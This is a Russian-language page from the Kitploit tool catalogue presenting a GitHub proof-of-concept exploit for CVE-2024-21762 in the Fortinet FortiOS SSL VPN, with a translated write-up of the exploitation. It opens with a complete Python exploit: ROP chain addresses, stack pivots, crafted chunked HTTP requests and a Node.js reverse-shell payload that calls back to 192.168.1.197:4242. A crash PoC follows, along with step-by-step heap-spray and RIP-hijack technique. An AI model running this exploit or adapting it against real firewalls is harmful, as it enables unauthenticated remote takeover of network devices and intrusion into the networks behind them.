Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-21762 — внеграничная запись в Fortinet FortiOS — уязвимость CVE-2024-21762 | Kitploit
Инструменты/GitHubGitHub/h4x0r-dz/cve-2024-21762
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийИнструмент Удаленного ДоступаРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubh4x0r-dz/cve-2024-21762

CVE-2024-21762

внеграничная запись в Fortinet FortiOS — уязвимость CVE-2024-21762

Репозиторий
1502532 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-21762

Выход за границы записи в Fortinet FortiOS. Уязвимость CVE-2024-21762

Эксплойт PoC от assetnote

root@kitploit:~

ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"

pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;

rop  = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;

rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;

rop += b"%f5%2c%e6%00%00%00%00%00" #  sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" #  add rsi, rax; mov [rdi+8], rsi; ret;

rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8

pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;

call_execl = b"%80%c1%43%00%00%00%00%00"

bin_node = b"/bin/node%00" 
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'

form_value  = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3

body = (b"B"*1808 + b"=" + form_value + b"&")*20

data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)

time.sleep(1)

ssock2 = make_sock(TARGET, PORT)

data  = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"

ssock2.sendall(data)

Уязвимость

Компания FortiGate выпустила обновление версии в феврале, исправляющее несколько уязвимостей среднего и высокого уровня риска. Одна из критических уязвимостей — это неавторизованная уязвимость выхода за границы записи в SSL VPN. В предупреждении об уязвимости указано, что эта уязвимость может эксплуатироваться в реальных атаках. В этой статье будет представлен анализ автора по процессу эксплуатации этой уязвимости для достижения удаленного выполнения кода.

image

Среда, используемая для анализа уязвимости в этой статье — FGT_VM64-v7.4.2.F-build2571

diff

Сравнивая бинарные файлы исправленных версий (7.4.2 и 7.4.3), анализ показал, что исправляющий код находится в функции sub_18F4980(7.4.2).

image

Анализируя эту функцию, нетрудно заметить, что ее логика заключается в чтении тела запроса HTTP POST. При этом в зависимости от заголовка Transfer-Encoding определяется, читать ли данные в чанковом формате или на основе Content-Length. Согласно результатам сравнения графов потока управления, есть две модификации кода:

При парсинге чанкового формата вызывается ap_getline для чтения длины чанка и проверяется, не превышает ли возвращаемое значение ap_getline 16. Если больше 16, длина чанка считается недопустимой.

image

При чтении трейлера чанка источником записи \r\n является присвоение line_off. До исправления значение line_off бралось из *(_QWORD *)(a1 + 744), после исправления — из возвращаемого значения ap_getline.

Продолжая трассировку, можно обнаружить, что значение *(_QWORD *)(a1 + 744) — это длина поля длины чанка при первой проверке.

image

Продолжая трассировку, можно обнаружить, что значение *(_QWORD *)(a1 + 744) — это длина поля длины чанка при первой проверке.

image

В то же время, читая код, можно сказать, что когда значение поля длины чанка после hex-декодирования равно 0, выполнение переходит к логике чтения трейлера чанка.

Срабатывание выхода за границы

После анализа исправления можно сделать следующие выводы:

  1. При парсинге чанка, если hex-декодированное значение поля длины чанка равно 0, начинается чтение трейлера чанка.
  2. После вызова ap_getline для чтения трейлера чанка в буфер будет записано \r\n в соответствии с длиной поля длины чанка.

Следовательно, если в поле длины чанка передано много нулей, и длина нулей превышает 1/2 оставшейся длины буфера, будет спровоцирована запись \r\n за границы. Через отладку можно узнать, что целевой буфер находится на стеке (функция sub_1A111E0), и адрес возврата хранится по смещению 0x2028. Если по смещению 0x202e записано \r\n, то при возврате функция попытается выполнить инструкцию восстановления rip и произойдет сбой из-за недопустимого адреса.

Crash PoC:

root@kitploit:~
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked

%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")

ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)

Сценарий сбоя:

image

Анализируя причину уязвимости, видно, что она позволяет записать два байта \r\n за границы на стеке, и диапазон выхода близок к 0x2000. Поскольку записываемое содержимое очень ограничено, RCE не может быть достигнуто прямым перехватом rip. Поэтому необходимо сосредоточиться на указателях памяти, сохраненных в стеке.

неудачная попытка

Что приходит в голову, так это перехватить rbp и перезаписать младший байт rbp так, чтобы rbp указывал на управляемую область памяти. Когда родительская функция вернется к выполнению инструкции, rip можно будет полностью захватить. Однако при проверке было обнаружено, что даже если rbp в стеке перезаписан, rsp и rip не могут быть захвачены, и программа даже не вылетает. Продолжая трассировку вверх, находим родительскую функцию sub_1A111E0. Эта функция при возврате не вызывает leave ret для восстановления rsp, а напрямую add rsp, 0x18, поэтому ожидаемого эффекта достичь не удается.

image

Ищем другую точку проникновения

Как показано в предыдущем разделе, функция sub_1A26040 сохраняет значения пяти регистров rbx и r12-r15 в стеке и восстанавливает их при возврате. Продолжая обратную трассировку, находим родительскую функцию sub_1A27650. Видно, что в r13 сохраняется именно параметр a1.

a1 — это указатель на структуру. Через отладку также видно, что в стеке r13 сохраняется адрес кучи.

image

Если память в красной области на рисунке будет перезаписана записью за границы, то при восстановлении регистра r13 при возврате функции значение указателя может быть подделано. Если можно организовать кучу так, чтобы a1 указывал на заранее подготовленную область памяти, то вся структура a1 может быть захвачена. В то же время, анализируя код логики sub_1A27650 и sub_1A26040, можно обнаружить большое количество динамических вызовов членов многоуровневых структур a1, поэтому появится больше возможностей для захвата a1.

Захват структуры

В соответствии с предположением, после перезаписи младшего байта указателя a1 \r\n, он может указывать на предварительно организованную память. Как показано на рисунке:

image

Для достижения этого эффекта необходимо выполнить следующие условия:

  • Адрес структуры a1 выше, чем адрес области heap spray, и разрыв между ними очень мал.
  • 0x7fxxxxxxx0a0d должна указывать на поддельную структуру.

Отладка показывает, что размер структуры a1 равен 0x730. Согласно правилам выравнивания jemalloc, будет выделен блок кучи размером 0x800. Блоки кучи размером 0x800 не часто используются при обработке запросов, поэтому легко исчерпать блоки 0x800 в tcache и одновременно запросить больше новых блоков 0x800, так что после освобождения они попадут в tcache. Heap spray также выбирает блоки кучи нестандартного размера, чтобы новые запрошенные блоки были непрерывными и близкими к новым блокам 0x800; heap spray использует большие блоки кучи, чтобы гарантировать, что их адреса выровнены по 0x800, что позволяет легко гарантировать, что младшие 12 бит каждого поддельного адреса структуры равны 0xa0d; диапазон heap spray не меньше 0x10000, чтобы гарантировать, что адрес попадает в область heap spray. Эффект после захвата выглядит следующим образом: 0x7fxxxxxxx0a0d

image

Поиск эксплуатируемых многоуровневых указателей

С помощью вышеуказанных операций можно захватить структуру a1. Анализируя код функций sub_1A27650 и sub_1A26040, можно обнаружить множество динамических вызовов указателей второго и третьего уровней членов структуры a1, например:

image

Когда выполняется условие (0<N<5), будет динамически вызываться *(__int64 (__fastcall **)(__int64))(*(_QWORD *)(*(_QWORD *)(a1 + 0x298)+0x70)+0xC0)(a1). Таким образом, член a1 + 0x298 необходимо подделать в многоуровневый указатель, который в конечном итоге будет указывать на нужную нам функцию. Поскольку целевой бинарный файл не включает защиту PIE, можно найти подходящие многоуровневые указатели в целевом бинарном файле. Анализ бинарного файла показывает, что первый уровень указывает на адрес GOT-таблицы соответствующей функции. *(_BYTE *)(a1+0x20*(N+6)+0x10)&6==0

image

image

Таким образом, на примере функций можно найти подходящие многоуровневые указатели. system

image

Во время heap spray, изменив значение по смещению 0x298 структуры на 0x4368d0, можно использовать функцию system. Эффект выглядит следующим образом:

image

Как показано на рисунке, параметром динамического вызова является a1, а память, на которую он указывает, управляема. На этом этапе можно использовать функцию system для выполнения любой команды. Однако в FortiGate файл /bin/sh не имеет возможности выполнять команды, поэтому использование функции system для выполнения команд не увенчается успехом.

Захват RIP

Поскольку функция system не может выполнять команды, нужно найти другой способ для завершения RCE. Существующее условие: можно вызвать любую функцию из GOT-таблицы, и память, на которую указывает первый параметр функции, управляема. Таким образом, если в GOT-таблице есть функция, которая будет вызывать обратный вызов какого-либо члена параметра, есть шанс захватить RIP. Легко вспомнить функции, которые часто использовались в предыдущих эксплойтах для FortiGate. SSL_do_handshake

image

Нужно только сконструировать структуру SSL так, чтобы условия были выполнены, и финальный вызов s->handshake_func(s) привел к захвату rip. Перехватить rip на 0xdeadbeef, как показано на рисунке:

image

Главная программа FortiGate представляет собой бинарный файл All-in-One размером более 70 МБ. В нем содержится большое количество гаджетов, которые можно использовать. Реализовать RCE с помощью ROP несложно, поэтому не будем вдаваться в подробности.

демо:

Хотя веб-режим отключен по умолчанию в SSL VPN версии 7.4.2 и браузерный доступ возвращает 403, эта уязвимость все еще может быть использована в конфигурации по умолчанию.

ezgif-6-c1d88c0511

Эта уязвимость похожа на уязвимость переполнения кучи, вызванную XOR, в прошлом году (CVE-2023-27997). Обе они представляют собой, казалось бы, бесполезные уязвимости переполнения. Процесс эксплуатации более хитрый и больше похож на задачу CTF. Однако по сравнению с традиционными CTF-задачами, атакующими менеджеры кучи, реальные уязвимости требуют больше контекстных структур и кодовой логики для эксплуатации. Уровень автора ограничен. Если есть ошибки, пожалуйста, поправьте меня.

Оригинальная статья на китайском: https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247484811&idx=1&sn=2e0407a32ba0c2925d6d857f4cdf7cbb&chksm=c3571307f4209a110d6b28cea9fe59ac0f0a2079c998a682e919860f397ea647fa0794933906&mpshare=1&scene=1&srcid=0313EaETjGzEAvOdByUt6ovU#rd

Скачать инструмент